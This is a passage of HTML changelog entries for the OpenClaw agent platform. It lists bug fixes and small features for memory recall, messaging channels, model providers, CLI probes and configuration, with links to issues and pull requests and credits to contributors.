<li>Active Memory: allow the hidden recall sub-agent to use both <code>memory_recall</code> and the legacy <code>memory_search</code>/<code>memory_get</code> memory tool contract, so bundled <code>memory-lancedb</code> recall works without breaking the default <code>memory-core</code> path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342562900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73502" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73502/hovercard" href="https://github.com/openclaw/openclaw/issues/73502">#73502</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343523222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73584" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73584/hovercard" href="https://github.com/openclaw/openclaw/pull/73584">#73584</a>) Thanks @Takhoffman.</li>
<li>fix(device-pairing): validate callerScopes against resolved token scopes on repair [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337345824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72925" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72925/hovercard" href="https://github.com/openclaw/openclaw/pull/72925">#72925</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory docs: document the <code>cacheTtlMs</code> 1000-120000 ms range and 15000 ms default so setup snippets do not lead users past the schema limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251274400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65708/hovercard" href="https://github.com/openclaw/openclaw/issues/65708">#65708</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251576914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65737/hovercard" href="https://github.com/openclaw/openclaw/pull/65737">#65737</a>) Thanks @WuKongAI-CMU.</li>
<li>fix(agents): canonicalize provider aliases in byProvider tool policy lookup [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337295525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72917" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72917/hovercard" href="https://github.com/openclaw/openclaw/pull/72917">#72917</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>fix(security): block npm_execpath injection from workspace .env [AI-assisted]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340604156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73262/hovercard" href="https://github.com/openclaw/openclaw/pull/73262">#73262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Tools/web_fetch: decode response bodies from raw bytes using declared HTTP, XML, or HTML meta charsets before extraction, so Shift_JIS and other legacy-charset pages no longer return mojibake. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337284956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72916/hovercard" href="https://github.com/openclaw/openclaw/issues/72916">#72916</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Active Memory: skip payload-less <code>memory_search</code> transcript tool results when building debug telemetry, so newer empty entries no longer hide the latest useful debug payload. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289720192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68773/hovercard" href="https://github.com/openclaw/openclaw/pull/68773">#68773</a>) Thanks @SimbaKingjoe.</li>
<li>Active Memory: keep recall setup time from consuming the configured model timeout while giving the hook runner an explicit bounded budget for the plugin, so slow embedded-run setup no longer causes immediate recall timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333274016" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72606/hovercard" href="https://github.com/openclaw/openclaw/issues/72606">#72606</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333343055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72620/hovercard" href="https://github.com/openclaw/openclaw/pull/72620">#72620</a>) Thanks @hyspacex.</li>
<li>Channels/Discord: bound message read/search REST calls, route those actions through Gateway execution, and fall back to <code>CommandTargetSessionKey</code> for inbound hook session keys so Discord reads do not hang and hooks still fire when <code>SessionKey</code> is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341806261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73431" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73431/hovercard" href="https://github.com/openclaw/openclaw/issues/73431">#73431</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342707124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73521" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73521/hovercard" href="https://github.com/openclaw/openclaw/pull/73521">#73521</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/media: auto-enable provider plugins referenced by <code>agents.defaults.imageGenerationModel</code>, <code>videoGenerationModel</code>, and <code>musicGenerationModel</code> primary/fallback refs, so configured Google and MiniMax media providers do not stay disabled behind a restrictive plugin allowlist. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Memory-core/dreaming: retry managed dreaming cron registration after startup when the cron service is not reachable yet, so the scheduled Memory Dreaming Promotion sweep recovers without waiting for heartbeat traffic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336307968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72841/hovercard" href="https://github.com/openclaw/openclaw/issues/72841">#72841</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Acpx/runtime: validate the runtime session mode at the <code>AcpxRuntime.ensureSession</code> wrapper boundary so callers that pass anything other than <code>persistent</code> or <code>oneshot</code> get a clear <code>ACP_INVALID_RUNTIME_OPTION</code> error instead of silently round-tripping through the encoded handle as a default <code>persistent</code> mode and later throwing <code>SessionResumeRequiredError</code>. Investigation context: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339298543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73071/hovercard" href="https://github.com/openclaw/openclaw/issues/73071">#73071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342946140" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73548/hovercard" href="https://github.com/openclaw/openclaw/pull/73548">#73548</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/infer: keep web-search fallback on missing provider API keys, preserve structured validation errors from the selected provider, and let per-request image describe prompts override configured media-entry prompts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226252002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63263/hovercard" href="https://github.com/openclaw/openclaw/pull/63263">#63263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Chat commands: include configured model-catalog reasoning metadata when building <code>/think</code> argument menus so Ollama Cloud and other provider-owned reasoning models show supported levels instead of only <code>off</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342653082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73515/hovercard" href="https://github.com/openclaw/openclaw/issues/73515">#73515</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343323395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73568/hovercard" href="https://github.com/openclaw/openclaw/pull/73568">#73568</a>. Thanks @danielzinhu99 and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Channels/Telegram: suppress generic tool-progress chatter when preview streaming is off, so non-streaming Telegram turns only deliver final replies while approvals, media, and errors still route normally. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331988059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72363" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72363/hovercard" href="https://github.com/openclaw/openclaw/issues/72363">#72363</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332559274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72482" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72482/hovercard" href="https://github.com/openclaw/openclaw/pull/72482">#72482</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and @SweetSophia.</li>
<li>CLI/model probes: add repeatable image <code>--file</code> inputs to <code>infer model run</code> for local and gateway multimodal model smokes, so vision models such as Ollama Qwen VL and Gemini can be tested through the raw model-probe surface. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
<li>CLI/model probes: request trusted operator scope for <code>infer model run --gateway --model &lt;provider/model&gt;</code> so Gateway raw model smokes can use one-off provider/model overrides instead of being rejected before provider auth resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345598480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73759" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73759/hovercard" href="https://github.com/openclaw/openclaw/issues/73759">#73759</a>. Thanks @chrislro.</li>
<li>CLI/image describe: pass <code>--prompt</code> and <code>--timeout-ms</code> through <code>infer image describe</code> and <code>describe-many</code>, so custom vision instructions and slow local model budgets reach media-understanding providers such as Ollama, OpenAI, Google, and OpenRouter. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
<li>Model selection: include the rejected provider/model ref and allowlist recovery hint when a stored session override is cleared, so local model selections such as Gemma GGUF variants do not fall back to the default with a generic message. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322522808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71069/hovercard" href="https://github.com/openclaw/openclaw/issues/71069">#71069</a>. Thanks @CyberRaccoonTeam.</li>
<li>OpenAI-compatible providers: drop malformed event-only or blank-data SSE frames before the OpenAI SDK stream parser sees them, so proxies that split <code>event:</code> from <code>data:</code> no longer crash streaming runs with <code>Unexpected end of JSON input</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4120148034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52802" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52802/hovercard" href="https://github.com/openclaw/openclaw/issues/52802">#52802</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway/OpenAI-compatible streaming: strip <code>&lt;final&gt;</code> tags split across streamed model deltas before they reach SSE clients, so <code>/v1/chat/completions</code> no longer emits tag remnants or drops content when final-answer wrappers cross chunk boundaries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63325" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63325/hovercard" href="https://github.com/openclaw/openclaw/issues/63325">#63325</a>. Thanks @tzwickl.</li>
<li>Ollama: resolve explicitly selected signed-in <code>:cloud</code> models through <code>/api/show</code> when <code>/api/tags</code> omits them, so working models such as <code>gemini-3-flash-preview:cloud</code> and <code>deepseek-v4-pro:cloud</code> do not fail dynamic model resolution before the native <code>/api/chat</code> transport runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347240832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73909" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73909/hovercard" href="https://github.com/openclaw/openclaw/issues/73909">#73909</a>. Thanks @chtse53.</li>
<li>Discord/exec approvals: keep the local <code>/approve</code> prompt when no native Discord approval runtime is active, and send a manual fallback notice when native approval delivery reaches no targets, so failed DM cards no longer leave approval turns silent or dependent on model-written shell commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347379791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73954/hovercard" href="https://github.com/openclaw/openclaw/issues/73954">#73954</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347582133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74027/hovercard" href="https://github.com/openclaw/openclaw/pull/74027">#74027</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Local model prompt caching: keep stable Project Context above volatile channel/session prompt guidance and stop embedding current channel names in the message tool description, so Ollama, MLX, llama.cpp, and other prefix-cache backends avoid avoidable full prompt reprocessing across channel turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042157634" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40256" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40256/hovercard" href="https://github.com/openclaw/openclaw/issues/40256">#40256</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042278613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40296/hovercard" href="https://github.com/openclaw/openclaw/pull/40296">#40296</a>. Thanks @rhclaw and @sriram369.</li>
<li>Gateway/OpenAI-compatible API: guard provider policy lookup against runtime providers with non-array <code>models</code> values, so <code>/v1/chat/completions</code> no longer fails with <code>provider?.models?.some is not a function</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264109417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66744/hovercard" href="https://github.com/openclaw/openclaw/issues/66744">#66744</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264303605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66761/hovercard" href="https://github.com/openclaw/openclaw/pull/66761">#66761</a>. Thanks @MightyMoud, @MukundaKatta.</li>
<li>WhatsApp/Web: pass explicit Baileys socket timings into every WhatsApp Web socket and expose <code>web.whatsapp.*</code> keepalive, connect, and query timeout settings so unstable networks can avoid repeated 408 disconnect and opening-handshake timeout loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4159428566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56365/hovercard" href="https://github.com/openclaw/openclaw/issues/56365">#56365</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343447305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73580/hovercard" href="https://github.com/openclaw/openclaw/pull/73580">#73580</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/velvet-shark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/velvet-shark">@velvet-shark</a>.</li>
<li>WhatsApp/Web: recover recently active listeners when a post-408 reconnect keeps receiving transport frames but stops delivering app messages, while keeping group metadata fallback off Baileys sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233698306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63855/hovercard" href="https://github.com/openclaw/openclaw/issues/63855">#63855</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265721576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66920" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66920/hovercard" href="https://github.com/openclaw/openclaw/issues/66920">#66920</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887700676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/7433" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/7433/hovercard" href="https://github.com/openclaw/openclaw/issues/7433">#7433</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280282270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67986/hovercard" href="https://github.com/openclaw/openclaw/issues/67986">#67986</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319778979" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70856" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70856/hovercard" href="https://github.com/openclaw/openclaw/issues/70856">#70856</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197893841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60007/hovercard" href="https://github.com/openclaw/openclaw/pull/60007">#60007</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333345205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72621/hovercard" href="https://github.com/openclaw/openclaw/pull/72621">#72621</a>. Thanks @legonhilltech-jpg, @octopuslabs-fl, @Kanorin-chan, and @stuswan.</li>
<li>Channels/Telegram: persist native command metadata on target sessions so topic, helper, and ACP-bound slash commands keep their session metadata attached to the routed conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168079108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57548/hovercard" href="https://github.com/openclaw/openclaw/pull/57548">#57548</a>) Thanks @GaosCode.</li>
<li>Channels/native commands: keep validated native slash command replies visible in group chats while preserving explicit owner allowlists for command authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344709307" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73672" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73672/hovercard" href="https://github.com/openclaw/openclaw/pull/73672">#73672</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Pairing/doctor: bootstrap <code>commands.ownerAllowFrom</code> from the first approved DM pairing when no command owner exists, and have doctor explain missing owners so privileged slash commands are not accidentally unusable after onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Telegram/exec: infer native exec approvers from <code>commands.ownerAllowFrom</code> and auto-enable the Telegram approval client when an owner is resolvable, so owner-only commands such as <code>/diagnostics</code> can be approved in Telegram without duplicate per-channel approver config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Auto-reply/session: carry the tail of user/assistant turns into the freshly-rotated transcript on silent in-reply session resets (compaction failure, role-ordering conflict) so direct-chat continuity survives the rebind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319746928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70853/hovercard" href="https://github.com/openclaw/openclaw/issues/70853">#70853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320196607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70898" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70898/hovercard" href="https://github.com/openclaw/openclaw/pull/70898">#70898</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Skills: load grouped skill directories such as <code>skills/&lt;group&gt;/&lt;skill&gt;/SKILL.md</code> from configured skill roots while keeping grouped discovery capped for large directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163525640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56915/hovercard" href="https://github.com/openclaw/openclaw/issues/56915">#56915</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332799995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72534/hovercard" href="https://github.com/openclaw/openclaw/pull/72534">#72534</a>) Thanks @ottodeng, @MoerAI, and @i010542.</li>
<li>Config: skip malformed non-string <code>env.vars</code> entries before env-reference checks, so config loading no longer crashes on JSON values like numbers or booleans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053205994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42402" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42402/hovercard" href="https://github.com/openclaw/openclaw/pull/42402">#42402</a>) Thanks @MiltonHeYan.</li>
<li>Docker Compose: default missing config and workspace bind mounts to <code>${HOME:-/tmp}/.openclaw</code> so manual compose runs do not create invalid empty-source volume specs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241483820" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64485" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64485/hovercard" href="https://github.com/openclaw/openclaw/pull/64485">#64485</a>) Thanks @jlapenna.</li>
<li>Agents/context engines: preserve the child agent's configured <code>agentDir</code> when subagent cleanup re-resolves a context engine, so <code>onSubagentEnded</code> hooks keep operating on the correct per-agent state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269702327" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67243" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67243/hovercard" href="https://github.com/openclaw/openclaw/pull/67243">#67243</a>) Thanks @jarimustonen.</li>
<li>Channels/WhatsApp: restrict pairing verification replies to real inbound user content, preventing unsolicited prompts from receipts, typing indicators, presence updates, and other non-message Baileys upserts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346092528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73797/hovercard" href="https://github.com/openclaw/openclaw/issues/73797">#73797</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346437717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73823/hovercard" href="https://github.com/openclaw/openclaw/pull/73823">#73823</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Configure/Ollama: show the configured Ollama model allowlist after Cloud only or Cloud + Local setup and skip slow per-model cloud metadata fetches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347480168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73995/hovercard" href="https://github.com/openclaw/openclaw/pull/73995">#73995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Channels/WhatsApp: detect explicit group <code>@mentions</code> again when the bot's own E.164 is in <code>allowFrom</code>, so shared-number setups no longer skip group pings that directly mention the bot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091909998" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49317" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49317/hovercard" href="https://github.com/openclaw/openclaw/issues/49317">#49317</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342031370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73453/hovercard" href="https://github.com/openclaw/openclaw/pull/73453">#73453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>WhatsApp/reliability: publish real transport-liveness into WhatsApp channel status and force earlier reconnects on silent transport stalls, so quiet healthy sessions stay connected while wedged sockets recover before the later remote 408 path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333644872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72656/hovercard" href="https://github.com/openclaw/openclaw/pull/72656">#72656</a>) Thanks @Sathvik-1007.</li>
